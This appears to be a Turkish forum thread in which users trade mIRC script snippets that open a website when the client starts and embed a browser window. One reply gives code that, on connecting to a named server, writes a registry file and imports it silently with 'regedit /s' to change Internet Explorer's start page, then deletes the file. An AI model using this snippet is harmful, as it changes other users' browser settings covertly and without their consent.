Çevrimdışı

Arkadaslar script'i actigimda, script ile beraber sitemin adresini internet sayfasinida yaninda nasil acabilirim.. ( Yani script acildiginda internet sayfasida yaninda acilsin )
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.


Bir diğeri de bunun yaninda script sunucuya girdiginde sitenin sayfasi, kisinin özeline acilsin..

Son olarakta script ile girdikten sonra verdigim sunucun ismi internet explorer'da giris sayfasi oLsun
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.


Simdiden teskLer..

 

Çevrimdışı

Arkadaslar script'i actigimda, script ile beraber sitemin adresini internet sayfasinida yaninda nasil acabilirim.. ( Yani script acildiginda internet sayfasida yaninda acilsin )

on *:start: {
inc %acilis
if (%acilis == 1) { run [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] }
if (%acilis !== 1) { halt }
}
on *:exit: {
unset %acilis
}

bu kod olan mirci açarsan siten açılır. fakat aynı mirci tekrar açtığında yine web açılır. bunu engellemek için %acilis koydum. aynı mrci 10 defada açsan web açılmaz. fakat 1 tanesini kapatırsan tekrar yeni açarsan açılır
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.



Son olarakta script ile girdikten sonra verdigim sunucun ismi internet explorer'da giris sayfasi oLsun

on *:connect: {
if (gizemsiz.net isin $server ) { SeniSeviyorumAskim }
}
alias seniseviyorumaskim {
inc -u900 %site
site
}

alias site {
if (%site !== $null) {
set %system $r(10,1999) $+ .reg
.write %system REGEDIT4
.write %system [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
.write %system "Start Page" = " $+ [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] $+ "
.run -n regedit /s %system
.timer 1 4 remove %system
}
}

Bir diğeri de bunun yaninda script sunucuya girdiginde sitenin sayfasi, kisinin özeline acilsin..

bu söylediğin için mirc dll leri kullanman lazım o kadar bilgim yok maalesef arkadaşım. fakt şeyden bulabilirsin.. o scriptler var bunu yapan.. işte onlardan. kusura bakma türkçem fazla yoktur. hadi hayırlı günler, iyi çalışmalar.

 

Çevrimdışı

ON *:START: {
Web
}

alias Web {
if ($window($active) != @Web ) && (!$window(@Web)) {
window -peng1k0 @Web
editbox @Web $1
set -u2 %x $dll(nHTMLn_2.95.dll,attach,$window(@Web).hwnd)
set -u2 %x $dll(nHTMLn_2.95.dll,navigate,[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] )
editbox @Web --> Site Adı Yaz ve Enter
}
if ($window($active) == @Web) && ($window(@Web)) {
editbox @Web $1
set -u2 %x $dll(nHTMLn_2.95.dll,attach,$window(@Web).hwnd)
set -u2 %x $dll(nHTMLn_2.95.dll,navigate,$1)
editbox @Web --> Site Adı Yaz ve Enter
}
}
on *:INPUT:@Web:{ if (http isin $1) || (
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
isin $1) { Web $1- } halt }







birde size nHTMLn_2.95.dll dosya olması gerekiyor
umarım işinizi görür...

Burdan İndir

Bu forumdaki ekleri görübilmek için 25 mesaja sahip olmanız gerekir. Sizin 0 Mesajınız var.